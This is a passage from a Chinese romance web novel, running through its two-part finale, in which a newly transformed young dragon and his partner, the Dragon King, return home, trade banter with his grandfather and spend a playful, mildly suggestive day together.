陶清观变回人形,一边换衣服,一边问道:“船上的人都处理好了?” “嗯,特管局联系了附近的警察局,人和东西都带走了。” 宴氿换下身上繁琐的华服,露出线条流畅的肌肉,他背对的陶清观,绷带勾勒出肩胛骨的轮廓。 他若无其事地说道:“你爷爷闹着要来找你,被我摁下来了,还有你妈妈知道了这件事,等会儿记得给她回消息。” 陶清观套好上衣,听到布料摩擦的声响,他转过头,宴氿说什么他没听清,注意力全在宴氿半裸的身体上。 得不到回应的宴氿转过身,看见陶清观愣愣的表情,他眼底闪过一丝戏谑的笑意,明知故问道:“怎么了?” 陶清观义正言辞道:“你身上的伤该换药了。” 宴氿挑眉,放下手中的衣服,找了张椅子坐下,开口道:“这样坐着行吗?” 陶清观瞄了宴氿两眼,拿不准对方在打什么鬼主意,但箭在弦上,他不可能怯场,陶清观拿起医疗包向宴氿走去。 宴氿调侃,“你第一次包的时候,不都看过了。” 陶清观撇嘴,“血肉模糊,筋骨连着肉,过于露骨,大可不必。” 宴氿哑口无言,他闭上嘴,张开双臂方便陶清观处理,余光瞄着陶清观的神情,见对方专心致志,他眉眼舒展开,摁下心底那点小心思。 陶清观剪开绷带,伤口恢复得很快,甚至可以拆线,看来他还是小看龙族耐造的本事了。 左右端详片刻,陶清观拿出剪刀咔嚓几声,随手给宴氿把线抽出来。 宴氿冷不防,被陶清观豪迈的动作一惊,看着从身体里抽出来的一坨线,宴氿面色古怪,“你这手法,上班练出来的?” “当然不是,这么搞不得被病人投诉。”陶清观奇怪地瞥了宴氿一眼,“撤销投诉很麻烦的。” 合着是因为他没法投诉。 宴氿扬手敲了下陶清观的脑袋,彻底没了心思,他拿起一旁的衣服要穿上,谁知这时陶清观突然起身,紧接着肩旁处传来温热柔软的触感。 陶清观亲了一下,顺便摸上宴氿的胸肌,他咂嘴,“感觉小了点,你得补补。” 说完,他潇洒离去,留下表情精彩的宴氿。 宴氿面上神情一番变化,过了好一会儿,他才迈步去追陶清观,宴氿唇角下压,决定给陶清观一点‘教训’,省得这小鬼乱撩拨龙。 他刚走到门口,先听见陶清观的笑声,循声望去,宴氿看见一个小豆丁抱着陶清观的小腿,求抱抱。 小豆丁正是烧烤店老板家的闺女,也是那个第一次见面就给陶清观糊一脸口水的小孩。 宴氿的脸色当即就变了。 “安安,你怎么一个人跑出来了。”陶清观认出小女孩,见对方光着脚丫子,他无奈地将人抱起,“我送你回店里。” 安安眼睛亮晶晶,“漂亮哥哥!安安见过你。” 陶清观一愣,他唇角扬起一抹弧度,笑道:“嗯,我又来了。” 安安嘿嘿嘿,搂着陶清观的脖子又要亲,陶清观预判她的动作,伸手抵住安安的脑袋。 “不可以。”陶清观板起脸,“不许乱亲人。” “嗯,不准亲。”宴氿快步走来,向陶清观伸出手,“我来抱。” 陶清观还没开口,安安一把将头扭过去,字正腔圆道:“不要。” 宴氿又不好跟个小孩较真,他抿起唇,用一种委屈,又故作大度的眼神望向陶清观。 陶清观默默把脸转到一旁,问安安道:“你爸爸在店里吗?” 安安摇头,指向不远处,“妈妈。” 陶清观顺着安安指的方向望去,看见一位中年女性向自己招手,烧烤店老板也站在那,看样子估计是早就在了。 好家伙,他以为是捡到走失儿童,结果人家是特地跑来找他的。 陶清观摸了下自己的脸,也难为安安能认出他。 他踱步走过去,将安安抱给老板,“是你家小孩吧。” “嗯嗯,一个不留神,她就跑过去了。”老板抱过安安,他看着陶清观的脸,开口道:“又来玩啦,之前那小孩是你儿子?怎么没看见他?” 陶清观摆手,“不是,他勉强算我弟弟。” 老板点头,那小男孩跟陶清观一个模子里刻出来的,说是兄弟也合理,他看了眼陶清观身后的宴氿,问道:“你们是兄弟三?” 宴氿闻言,眸光下意识转向陶清观,他刚了解过,人类社会对同性伴侣的接受度一般,不想陶清观为难,宴氿准备糊弄过去,可陶清观快他一步。 “不是。”陶清观拉过宴氿的胳膊,笑道:“他是我的爱人。” 老板愣住。 宴氿板着脸跟老板点了下头。 老板挠挠头,“这样啊,还挺少见,不过你两看着挺登对。” 宴氿:“谢谢。” “那我们先走了。”陶清观向老板挥挥手,挽着宴氿离开。 没走两步,宴氿开口道:“你再说一遍。” “嗯?”陶清观偏过头,“什么?” 宴氿轻咳一声,“就刚刚那句。” 陶清观:“我们先走了?” 宴氿:“不对,再前面一句。” 陶清观故意兜圈子,“不是?” 宴氿抬手掐住陶清观的脸颊,“中间那一句。” 陶清观眉眼弯起,不再逗宴氿,柔声道:“你是我的爱人。” 宴氿松开手,将脸撇向一旁,“嗯,就是这句。” 陶清观凑上去,要看宴氿正脸,眼尖瞥见宴氿手上手机的屏幕,他睁大眼睛,“你开录音!?” 宴氿避开陶清观要抢的手,把手机收起来,岔开话题,“我们去吃饭。” 等有空,做成闹铃。 第 131 章 大结局上 第131章 第 131 章 大结局上 回到久违的城市, 陶清观长舒一口气。 他望着窗外,看到特管局的影子,对司机道:“就是这里, 停车。” 出租车停下, 陶清观刚推开门,陶笠鹤就凑上来, 他被陶笠鹤摁着肩膀,上下打量,看陶笠鹤的眼神, 恨不得上手检查一遍。 “我没事。”陶清观无奈道:“爷爷,你总得先让我下车吧。” 见陶清观精神不错,陶笠鹤悬着的心落下,“没事就好。” 陶笠鹤后退一步,看着陶清观走出来, 又是一颗精神的小苗,他眼底闪过一丝遗憾,“你长得真快。” 他有那么一点点想念小囡囡。 陶清观嘴角抽搐, 都懒得戳破陶笠鹤那点小心思, 他拉过宴氿,开口道:“局里的医务室在哪边, 有设备检查吗?他受伤了。” 陶笠鹤眉毛尖一跳, 扭头去看宴氿,宴氿身姿挺拔, 面色红润, 完全看不出受伤的影子,他面上挂着笑,开口道:“有, 小李过来,带龙王去医务室。” 一旁的小李听到指示,立即上前,对宴氿做了一个请的手势。 陶清观见状,要跟着走,可陶笠鹤拉着他不撒手,这时宴氿开口。 “我自己去就行。”宴氿跟小李离开。 陶清观脚步一顿,撇着嘴望向陶笠鹤,“你要干嘛。” 陶笠鹤习惯性要敲陶清观脑袋,但想到小孙子这趟出去不容易,他忍了下来,拉着陶清观往办公室走,嘴上没好气道。 “胳膊肘子尽知道往外拐,这么久没见,爷爷想多看你几眼都不行吗?” 陶清观叹气,“行行行。” 走到办公室,陶笠鹤反手把门关上,他拍拍陶清观的肩膀,感慨道:“辛苦了,身体没哪里不舒服吧?” “没有。”陶清观嘿嘿两声,“我现在可是一条龙。” “真假的?”陶笠鹤诧异,虽然宴氿说过,陶清观是龙,可他养陶清观这么多年,实在难把陶清观跟龙挂上钩,“能变龙形吗?变给我看看。” 陶清观下巴一昂,在路上,他已经熟练掌握变形这项技能,他心下一动,一条小龙就水灵灵地冒出来。 他绕着陶笠鹤兜了两圈,得意道:“怎么样,帅吧。” “哟,不错哦。”陶笠鹤伸手撸了把陶清观光滑的鳞片,不由咂嘴。 宴氿他没胆子碰,自己孙子那还不是随便摸,陶笠鹤薅过陶清观的脑袋,又摸摸龙角,感慨道:“原来是这手感。” “臭老头,撒手。”陶清观忿忿喊道。 “怎么跟爷爷说话的。”陶笠鹤拍拍陶清观的脑袋,“你这龙形有点细啊,还没我腿粗。” 陶清观被戳到痛处,哼声道:“那是你腿粗。” 陶笠鹤啧啧两声,安慰道:“没事没事,我们囡囡还能长。” 陶清观扯着唇角,嗖一下从陶笠鹤怀里钻出来,他盘踞高空,变回人形,无视陶笠鹤挽留的目光,开口道:“我去找宴氿。” “小没良心的。”陶笠鹤笑骂道,事发突然,他到现在都没好好跟陶清观聊过宴氿的事,“你和龙王……” 陶笠鹤眉心皱起,斟酌着用词,他抬眸对上陶清观的目光,心底那些话语化作一声轻叹,“你打小就有自己的主意,这事我不说你,但有时候并不是人越少,路越好走。” 陶清观耸肩,“小情侣不都喜欢许些山盟海誓,你没对我奶奶许过吗?” “这不是一回事。”陶笠鹤太阳穴一跳一跳的,他冲陶清观摆摆手,“行了,要走赶紧走。” 陶清观应了声好,打开办公室的门,离开前,他像是想起什么,回首道:“这玩意你看看能不能种,对雨师有好处。” 他随手把在岛上找到的植物扔给陶笠鹤。 陶笠鹤认出那是什么东西,手忙脚乱地接住,生怕伤着根系,待他回过神,陶清观已经溜没影了。 他笑骂一声,宝贝似的把手中的植物放到桌上。 也算是体验到有个富亲戚的好处了。 …… 陶清观随便找了个人问医务室的位置,他在局里溜达,路过一间小卖部,陶清观脚步一顿,思考了片刻,他回头走进超市。 不一会儿,陶清观拎着个不透明的塑料袋走出来,他嘴里哼着歌接着往医务室走,刚过拐角,就看见宴氿坐在长椅上闭目养神。 陶清观挑眉,心底意外,检查速度还挺快。 他故意加重脚步,走到宴氿跟前,“都检查完了?” “嗯,伤口没有感染,基本痊愈了。”看见陶清观,宴氿眼底不自觉带上笑意,他问道:“你们不再聊会儿?” 陶清观一边摇头,一边说道:“他忙着呢,暂时没空找我。” 话音未落,他手机响起来,陶清观拿起一看,发现正是陶笠鹤打来的。 人啊,真是经不起念叨。 陶清观把拎着的袋子随手塞给宴氿,摁下接听键,“干嘛?” “你两别走,我请你们吃午饭。” 陶笠鹤说完,匆匆将电话挂断,看得出来是百忙之中抽空打来的。 陶清观都没找到插嘴的机会,他皱起眉头,嘴里嘟囔着,“任性的老头。” 宴氿莞尔,“也快到饭点了,去包厢等他?” “只能这样了。” 陶清观跟宴氿往包厢走。 路上,陶清观吐槽道:“每次说请吃饭,都是在局里吃,迟早有人举报他挪用公款。” 宴氿耳尖听到背后的脚步声,提醒道:“咳咳。” “干嘛,我说的不对吗?”陶清观完全没get到宴氿的意思,“他就是小气。” 跟在后面的陶笠鹤幽幽道:“在局里吃饭,也是我付的钱。” 陶清观身子一僵,干笑着打岔,“好巧……哎哟,你又敲我脑袋。” “哼。”陶笠鹤又弹了下陶清观的脑门才收回手,他白了陶清观一眼,说道:“赶紧走。” 陶清观揉着脑袋,开口道:“你怎么这么早就来了。” “不来怎么抓你说小话。”陶笠鹤作势又要敲陶清观脑袋,陶清观一个闪身躲到宴氿身后,还冲陶笠鹤做了个鬼脸。 陶笠鹤手又痒了,“我是有正事。” 他说着,推开包厢的门,“这段时间你跟犯水逆似的,坏事一件接一件,赶紧去去晦气。” 包厢内,四面墙上挂着柚子叶,门口还放着个大火盆,旁边拿着柚子叶的工作人员见陶笠鹤来了,开口道:“局长,这几片挂不下了。” “正好,给我。”陶笠鹤接过一把柚子叶,驱魔似的在陶清观身上扫了几下,嘴里念叨着不知名的话,“来,再跨个火盆。” 陶清观背后毛毛的,他想说陶笠鹤封建迷信,但一想,陶笠鹤都是迷信头子了,他木着脸,跨过火盆。 “您也跨一下吧,讨个吉利。”一旁的员工笑盈盈地对宴氿说道,“东西我来拿。” 他向宴氿伸出手,示意宴氿把手中的袋子给他。 宴氿动作一顿,袋子是陶清观刚刚塞给他的,他也没看里面是什么东西,宴氿瞥向跟陶笠鹤拌嘴的陶清观,迟疑片刻还是没打扰对方。 既然陶清观没特地叮嘱,那他看一眼应该也无所谓。 宴氿打开袋子,几盒四四方方的东西躺在里面,他脑子卡了几秒才反应过来,飞速将袋子合上。 员工看得一脸懵逼,“那个……” “我自己拿。”宴氿抬脚跨过火盆,把袋子牢牢握在手,那样子生怕有人跟他抢一样。 他望着陶清观的后脑勺,唇瓣绷直。 这小鬼,也不跟他说一声。 陶清观打了个喷嚏,他抬手蹭蹭鼻子,目光瞄向陶笠鹤,肯定是爷爷在心底蛐蛐他了。 “我是倒霉,不是中邪。”陶清观阻止陶笠鹤再往自己身上扫叶子,“赶紧的,坐下吃饭。” 陶笠鹤放下柚子叶,让人把火盆端出去,嘴里说着,“你懂什么,这叫小心谨慎。” 忙完陶清观,陶笠鹤总算想起宴氿,他开口招呼人,“手里怎么还拎着东西,他们真没眼力劲,来,东西给我。” “不用。”宴氿在陶清观身旁坐下,拿袋子的手放在桌下,纠结着要把袋子放哪。 “啊!” 陶清观这一声给宴氿惊得手一抖,旁边的陶笠鹤更是被水呛得直咳嗽。 “咳咳咳。”陶笠鹤拍着胸脯,“一惊一乍的干嘛。” “我忘记把特产给你了,厨房做好没,还能加工吗?”陶清观边说边往外掏,“这是螃蟹,这是龙虾,再摆就不新鲜了。” 眨眼间,包厢里就多出一堆海鲜。 陶笠鹤看得眼皮子直跳,“兔崽子,别拿了,到后厨再拿。” “有些能做刺身,我给你现拆。” “拆拆拆,我看你是想把这拆了” 陶笠鹤推着陶清观往外走,“包厢里的海鲜味要是散不掉,明天你就给我过来洗地。” “我好心给你带特产,你居然想抓我打白工!?”陶清观眼睛瞪圆,伸手要去抢陶笠鹤手中的帝王蟹,“不给你了。” 陶笠鹤手往后躲,“送人的哪还有拿回去的道理。” “我又没说送你。” 陶清观蹦起来够,结果手一偏拍到螃蟹壳,陶笠鹤没抓稳,螃蟹飞出去,正向宴氿。 宴氿单手抓住,但因帝王蟹太大,螃蟹爪子掉到他头顶,他若无其事地把螃蟹拿下来,开口道:“拿到厨房吗?” 陶笠鹤:“……嗯。” 陶清观眨了眨眼,大喇喇问道:“你另一只手怎么了?” 宴氿拿着帝王蟹的手收紧,面无表情道:“没事。” 他把袋子放到椅子下,这边的椅子有椅套,垂下来的部分正好把下面全遮住,宴氿不着痕迹地站起身,说道:“走吧。” 陶笠鹤哪能让宴氿亲自去送,他立即叫外边的下属进来,吩咐道:“把这些拿到厨房,让厨师看着处理,多出来的算给大家的福利,中午加餐。” “好。” 下属偷瞄着宴氿,内心激动,他是刚调过来的,还是头一次见到活的龙,这可是龙诶,他心底抑制不住的小兴奋,靠近宴氿时,他不禁屏住呼吸。 “您……靠!”字正腔圆的一字人本能反应,下属踩到地上的水,摔了个屁墩,一脚踹飞旁边的椅子。 宴氿在扶椅子和扶人之间犹豫,最后的结果就是一个都没救到,下属结结实实摔了一下。 陶清观嘶了一声,这声听着真疼,他大步上前,向对方伸出手,“没事吧?” 下属面色扭曲,挤出一个笑容摇头,他手忙脚乱地要爬起来,动作间抓到地上的东西,他一愣,“这是……不好意思!” 看清手上的东西,下属面色涨红,手都不知道往哪摆。 宴氿沉默地站在原地,外表看似镇静,其实脑子已经过载了,他该说什么?没关系吗? “没事。”陶清观淡定地接过下属手上的人类幼崽嗝屁套,他拿起一旁的袋子放进去,对下属道:“转个身,背对着我。” 下属愣住,“啊……这、这不太好吧。” 陶清观看对方这反应,顿时哭笑不得,“我是医生,想看看你尾椎骨有没有伤着。” “哦哦。”下属连忙转了个方向,看他利落的模样应该是没多大事。 陶清观检查了一下,“应该没事,要是不放心,可以去拍个片子,医疗费局里报销。” “不、不用了。”下属捧起地上的海鲜,“我去叫人来拿。” 陶清观拿起桌上的毛巾擦手,看着前方活蹦乱跳的背影,心底感叹一声,年轻真好。 擦完手,陶清观拿起身旁的袋子,随手放到旁边的矮桌上,一回头,望见在原地罚站的两人,他一愣,“你们干嘛?” 陶笠鹤老脸一红,撇到旁边,“下次注意。” 宴氿脸撇向另一边,他面上不显,但藏在发丝中的耳尖泛着绯色。 一顿饭,陶笠鹤和宴氿跟吃了哑巴药似的,就陶清观一个吃得毫无负担。 后来发现宴氿的视线刻意避开矮桌上的袋子,陶清观回过味,这老龙好像应该大概是不好意思。 他心底觉得好笑。 就这脸皮的厚度,某条龙还想推倒他? 吃完饭,陶清观自然地拿起袋子,回头对宴氿道:“回去了。” 宴氿起身跟上,经过一顿饭的消化情绪,宴氿已经能保持淡定。 下一秒。 “你拿着。”陶清观反手把袋子塞给宴氿。 宴氿泰山崩于前而面不改色的脸僵了一下,一言不发的接过袋子,反正袋子不透明,没人知道他拿的是什么。 但好死不死,回去的路上遇见之前进包厢拿海鲜的那个人,宴氿面色又是一变。 陶清观一直关注着宴氿,看着对方的微表情,他没绷住,噗嗤笑出声。 他歪过头挡在宴氿前边,笑道:“不至于吧,脸皮这么薄?” 一被调侃,宴氿面色更压不住了,他低咳一声,拉过陶清观加快步伐,“快点走。” 陶清观只好跟上,他凑到宴氿耳边,小声道:“你回去,会不会不好意思跟我用?” 宴氿舌尖抵着上颚,沉声道:“回去你就知道了。” “咦~”陶清观在宴氿紧绷的弦上疯狂蹦迪,“我觉得你需要一些指导。” 宴氿想到一些带颜色的东西,脚下走得更快了。 回到家。 宴氿拉着陶清观直奔卧室,把人压床上时,陶清观抵住宴氿靠近的脸。 “等等,先看小视频。” 宴氿动作一顿,神情古怪,跟陶清观一起看那种视频,算是一种情趣么? 陶清观找来平板,光明正大地在宴氿面前竖起来,他摁下播放键,屏幕上赫然浮现几个大字。 ‘卫生小知识,避yun套的正确佩戴方法’ 宴氿:“……” 陶清观在一旁摇头叹气,“我就说得进行适当的性教育,这也是保护自己。” 第 132 章 大结局下 第132章 第 132 章 大结局下 “认真看。”陶清观在宴氿身旁盘腿坐下, “这东西有正反,还有大小型号,总得了解一下。” 宴氿:“……嗯。” 陶清观身子一歪, 靠到宴氿身上, 他拿着一个拆封过的套,塞进宴氿手里, 鼓励道:“跟着试试,我不知道你的准确型号,买的是偏大的那几个, 你要是感觉大,也很正常。” 宴氿放在腿上的手攥紧,手背上的青筋清晰可见,他拿着套半天没有动作,平板上的视屏都播完大半。 “不要不好意思。”陶清观勾搭上宴氿的肩膀, “要不我帮你?” 宴氿唇瓣绷成一条直线,他伸手合上平板,房间内顿时安静下来, 他握住陶清观的手腕, 将人摁倒在床上,嗓音干涩带着一丝哑意, “我帮你。” 陶清观扭了下手腕, 宴氿握得紧,发现挣脱不开, 他选择躺着摆烂, 感觉到腰上一凉,陶清观曲起腿,阻止宴氿下一步动作。 “等一下。” 宴氿握住陶清观的大腿, 修长的手指陷入肉中,勒出一道道弧度,他俯下身,墨黑的眼眸深处泛起丝丝深邃的蓝意,“你说的,不要害羞。” “不是害羞。”陶清观嘴努向一旁,“换一个,你手上的不是我的型号。” 宴氿:“……” 刚升起的那点暧昧气氛顿时荡然无存。 宴氿沉默班上,松开陶清观,坐起身去翻找床头柜上的袋子,看着一袋子花花绿绿,他认命地问道:“哪一个?” 陶清观:“哈哈哈哈哈哈哈哈。” 宴氿长吁一口气,摁下心头想打陶清观屁股的冲动,可旁边‘不知死活’的某人还在一个劲的哈哈哈,他忍了又忍,还是没忍住,伸手拽过在床上打滚的陶清观。 他捏住陶清观的脸蛋,眼眸眯起,“老实说,你是想教我,还是想看我乐子?” 陶清观心虚地撇开目光,“都有一点吧……” 宴氿哼出一声嗯,抬手拍在陶清观屁股上。 陶清观哎哟一声,翻身要跑,但被宴氿拽住脚踝,他直觉大事不妙,连忙道:“现在是白天,干那档子事怎么着也得等到晚上吧。” 宴氿眸色暗沉,眼底涌动着波涛,“我们可以干到晚上。” 陶清观:“!?” 事实证明,素了上千年的老东西不能惹,别说晚上,第二天早上陶清观都没爬起来。 太阳落了又起,最终悬挂在正中央,和煦的阳光钻进屋内,洒下形状各异的光点。 安静许久的卧室传出一声呓语,床上的鼓包艰难地挪动了一下,露出一张菜色的脸。 陶清观坐起身,捏了捏鼻根,疼倒是没感觉了,但下面的异物感挥之不去,都怪宴氿,干起活没个节制。 开始塞鸭蛋的时候,宴氿还知道小心些,等到后面…… 陶清观小脸一黄,脑袋里飘过的全是十八禁的画面,他默默捂脸,啪叽往回一倒,抱着枕头在床上滚了几圈。 本以为宴氿这性格在床上肯定会拘着,结果这家伙闷不啃声干大事,果然龙性本yin。 “醒了?” 房间的门打开,宴氿系着围裙走进来,他嘴角噙着笑,看起来有种饱餐后的餮足,“午饭做好了,我端上来?” “不用。”陶清观掀开被子下床,龙的身体比较耐造,睡饱一觉,昨天那种使不上力的感觉基本消退。 陶清观伸了个懒腰,边走边问:“有什么好吃的?” 宴氿回答:“烤肉,海鲜,沙拉。” 通常第二天得吃点清淡的,但陶清观种族变了,也就没有忌口这一说,吃点好的反而能更快恢复体力。 宴氿的视线在陶清观腰部转了一圈,他自然地搂过陶清观,俯身亲了亲对方的脸颊,说道:“要是想吃其他的,我给你点外卖。” “够了。”陶清观抵住宴氿的脸,“吃完饭再腻歪。” 什么都不能阻挡他干饭的速度。 但陶清观发现今天的宴氿格外粘人,吃饭的时候帮他剥壳夹菜,恨不得把饭味道他嘴里,就连饭后他去洗手,宴氿都跟着。 陶清观皱眉,“你想干嘛?” 宴氿顺势将人圈进怀里,冠冕堂皇道:“不进行点饭后运动吗?” 陶清观不用猜都知道宴氿这说得是哪门子运动,他从宴氿怀里钻出来,向沙发溜去,嘴里说着,“刚吃过饭就剧烈运动对肠胃不好。” 宴氿抬脚跟上,在沙发上坐下,他抱起陶清观放到自己两腿之间,然后从背后搂住对方,“那就这样休息一会儿。” 陶清观叹气,他后仰靠在宴氿身上,抬手戳了戳宴氿的下巴,“我又不会跑,至于跟这么紧吗?” 宴氿低头叼住陶清观的指尖,轻轻咬了一下,“我要关注你的身体状况。” 陶清观嘴角抽搐,“我看你是关注什么时候能再次进行某项运动。” 宴氿也不否认,附在陶清观耳边,轻声问道:“不舒服吗?” “老龙,你ooc了。”陶清观捂着耳朵避开宴氿,他推开宴氿的脸,没好气道:“晚上再说。” 宴氿嘴角扬起,抱着陶清观蹭了两下,下一秒,他变回缩小版龙形,缠了陶清观一圈,怡然自得地将脑袋搁在陶清观大腿上。 陶清观摸摸宴氿脑袋,今天的宴氿,还是龙形比较顺眼。 这时,手机铃声响起,陶清观瞥了一眼,发现是陆满满,他一愣,有段时间没跟对方联系了。 陶清观按下接听键,陆满满的大嗓门从那边传来。 “哟,大少爷可算接小的电话了。” 陶清观态度诚恳,“抱歉,之前去的地方没信号。” “没信号?你去哪个深山老林玩过了?”陆满满啧啧两声,“算了算了,跟你说件事,我辞职了。” “你干什么了?被投诉了?” “你能不能想我点好的。”陆满满呸呸两声,“我考上公务员了,人往高处走懂不懂。” 陶清观:“哦,这样啊,恭喜你。” “嗯哼。”陆满满得意道:“你怎么说?我看你这假请的,想必是看不上医院给的三瓜两枣,打算回家继承家产?” “没那个打算。”陶清观垂眸,对上宴氿的视线,他勾起唇角,指腹摩挲过宴氿的龙角,“过两天接着回去上班。” 陆满满诧异,“真的假的?你有钱有学历,干嘛想不开跟医院死磕,虽然医生听着体面,但累也是真的,难不成你小时候的梦想就是当医生?” “那倒没有,我学医单纯是因为它难,想表现一下自己。” 陶清观抬眸望向窗外,天空湛蓝,云朵绵绵,如棉花糖一般,甜丝丝的,“不过梦想嘛……没想好,我再想想。” “你都多大了,还谈什么梦想。”陆满满叹气,“现实点,老老实实赚钱,回家还得挨我妈催婚。” “那不一样。”陶清观眼眸清透,倒映着看不到边际的蓝天,“十来岁的梦想交到我手上,那我的梦想就交给以后呗,我只是二十多岁,又不是明天就嘎,怎么就不能梦了。” 陆满满语噎,“你真是……罢了,我等会要赶飞机,改天请你吃饭,你最近不会又跑到什么深山老林里吧。” 陶清观笑道:“不会。” 陆满满又跟陶清观抱怨了两句,这才挂断电话。 看着漆黑的手机屏幕,陶清观微微出神,直到宴氿将脑袋压到他手上,他才回过神来。 宴氿问道:“怎么了?” “没什么。”陶清观捧起宴氿的脑袋,一撸到底,龙鳞光滑细腻,背后的毛手感柔顺,不愧是龙,集各优点于一身。 就是宴氿下颌处逆鳞的缺损破坏了一下美感,陶清观摸了摸那处,无奈道:“你怎么这么好骗。” 宴氿尾巴甩了甩,“因为来的是你。” 陶清观敷衍地应声,“嗯嗯,被个五岁小孩忽悠了。” 宴氿缠上陶清观的手臂,脑袋搭在陶清观的掌心处,“你没想过你对灵特殊的吸收能力是从哪来的吗?” 陶清观略微思索,“龙的能力?” “准确来说,是青龙的能力,还是比较稀有的一种,我也是第一次见。”宴氿开口道:“打从一开始你就有返祖的趋势,你那时能突破我设下的界限也是因此。” “所以,在当时我的眼中,你不是人类,你是一条走丢的小龙。” 这件事宴氿回想过很多次,他曾在睡梦中感受到同类的气息,也是陶清观的能力太稀少,他最近才对上号。 宴氿望向陶清观,说道:“不是随便一个人类小孩就能骗走我的逆鳞。” “这还真是……”陶清观哭笑不得,他抱起宴氿,调侃道:“感谢热心市民宴先生救我狗命。” 宴氿被捧着脑袋,身子拉成一长条,他眼底划过一丝无奈,任由陶清观抱着自己晃来晃去。 陶清观把宴氿夹在两腿之间,搂着宴氿往后一倒,他拍拍宴氿,指使道:“变粗点。” 宴氿的龙形完美替代长条抱枕,除了稍微有点硬,其他都很完美。 陶清观特地靠在宴氿背上,脸埋在长毛里软绵绵的,他用脸蛋蹭了两下,感慨道:“感觉还是你的龙形顺眼。” 能随便蹭,还不用担心擦枪走火。 陶清观嘿嘿笑着,对宴氿上下其手,他握住宴氿的前爪,好奇道:“这爪子日常生活能用吗?” 宴氿:“……能用你想怎么样?” 陶清观脑袋换了个方向,面朝宴氿,“能穿着围裙做饭吗?” 宴氿沉默半晌,“你这是什么奇怪的癖好。” 陶清观翻了个面,压在宴氿身上,“这叫优雅永不过时。” “安分点。”宴氿稳住身形,防止乱滚的陶清观掉下来,但沙发就那么大,某人扭来扭去,半点不知道安分怎么写。 陶清观身上的睡衣蹭到腰间,露出一截白皙的腰肢,他毫无所觉,继续缠着宴氿,“不系围裙也行,你去泡个茶,拿茶杯。” 温暖的肌肤划过腹间,宴氿尾巴甩在地板上发出啪的一声,“别闹。” “小气鬼。”陶清观嘴里嘟囔着,伸手要拽宴氿的龙角,他往前爬时,脚下一滑,踢到一块鳞片上,奇怪的脚感让他愣了一下。 陶清观低头去看,嘴里说着,“你好像有一块鳞片翘起来了。” 话音未落,他看到鳞片下的风景,剩下的话瞬间消音。 陶清观默默往上挪了点,他搂住宴氿的脑袋,下巴往上一压,装作什么都没看见。 宴氿喷出鼻息,这下轮到他不安分了。 陶清观一个弹射从宴氿身上跳下来,踩着拖鞋哒哒哒往厨房跑,欲掩弥彰道:“我去找杯酸奶。” 他心下松了口气,好险好险,没想到龙形也不安全。 陶清观磨磨蹭蹭拿了杯酸奶,愣是在厨房喝得差不多才往外走,走到一半,忽然想起有段时间没浇花,他脚下拐了个弯,去拿洒水壶。 等他把别墅内的花都浇完已经是半小时之后了。 陶清观往楼下瞥了一眼,发现宴氿还在沙发上,对方闭着双眸,好像是睡着了。 阳光洒在宴氿身上,波光粼粼,如上好的绸缎,随着宴氿呼吸的起伏,鳞片又如海面碧波闪闪。 陶清观眉眼弯起,轻手轻脚地走到宴氿跟前。 他蹲下身子,与宴氿平视,在宴氿鼻尖上轻轻落下一吻,低声喃喃道: “辛苦了。” 陪他过龙门着实把宴氿折腾的够呛。 陶清观挨着宴氿坐在地毯上,他合上眼眸,感受着背后强有力的心跳。 梦想、以后…… 他更在意今天晚上的菜单,等睡醒拉宴氿去超市吧。 午安——做个好梦。 【正文完】